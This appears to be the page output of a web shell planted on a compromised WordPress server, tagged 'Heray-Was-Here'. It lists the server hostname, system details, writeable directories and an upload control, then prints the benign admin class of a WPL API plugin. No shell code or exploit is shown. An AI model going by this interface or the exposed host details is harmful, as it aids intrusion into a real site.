Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/plugins/wpl-api/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/plugins/wpl-api/admin/Admin.php
<?php

class WPL_API_Admin
{
	private $hook = '';
	public $wplVersion = '4.13.2';
	public function show() {
		if ( is_admin() ) {
			add_action( 'admin_enqueue_scripts', [ $this, 'enqueueScripts' ] );
			add_action( 'admin_enqueue_scripts', [ $this, 'enqueueStyles' ] );
			add_action('admin_menu', [$this, 'addMenu']);
		}
	}
	public function addMenu() {
		$this->hook = add_menu_page(
			'WPL API',
			'WPL API',
			'manage_options',
			'wpl_api' ,
			array(
				$this, 'renderSettings'
			),
			'dashicons-admin-home',
			4
		);
	}

	public function enqueueStyles($hook) {
		if($hook != $this->hook) {
			return;
		}
		if(!$this->wplInstalled() || !$this->validWplVersion()) {
			return;
		}
		wp_enqueue_style(
			WPL_API_TEXT_DOMAIN,
			WPL_API_URL . '/assets/style.css',
			array(),
			WPL_API_VERSION,
			false
		);
		wp_enqueue_style(
			'toast',
			WPL_API_URL . '/assets/packages/toast/toast.min.css',
			array(),
			WPL_API_VERSION,
			false
		);
	}
	public function enqueueScripts($hook) {
		if($hook != $this->hook) {
			return;
		}
		if(!$this->wplInstalled() || !$this->validWplVersion()) {
			return;
		}
		wp_enqueue_script(
			WPL_API_TEXT_DOMAIN,
			WPL_API_URL . '/assets/script.js',
			array( 'jquery-core' ),
			time(),
			true
		);
		wp_enqueue_script(
			'toast',
			WPL_API_URL . '/assets/packages/toast/toast.min.js',
			array( 'jquery-core' ),
			WPL_API_VERSION,
			true
		);
	}

	public function wplInstalled() {
		return class_exists('wpl_addon_pro');
	}

	public function validWplVersion() {
		return version_compare(WPL_VERSION, $this->wplVersion) >= 0;
	}

	public function renderSettings() {
		if(!$this->wplInstalled()) {
			echo '<div class="notice notice-error"><p>The WPL plugin not found</p></div>';
			return;
		}
		if(!$this->validWplVersion()) {
			echo '<div class="notice notice-error"><p>Update WPL plugin to ' . $this->wplVersion . '</p></div>';
			return;
		}
		include __DIR__ . '/views/settings.php';
	}

}

Hry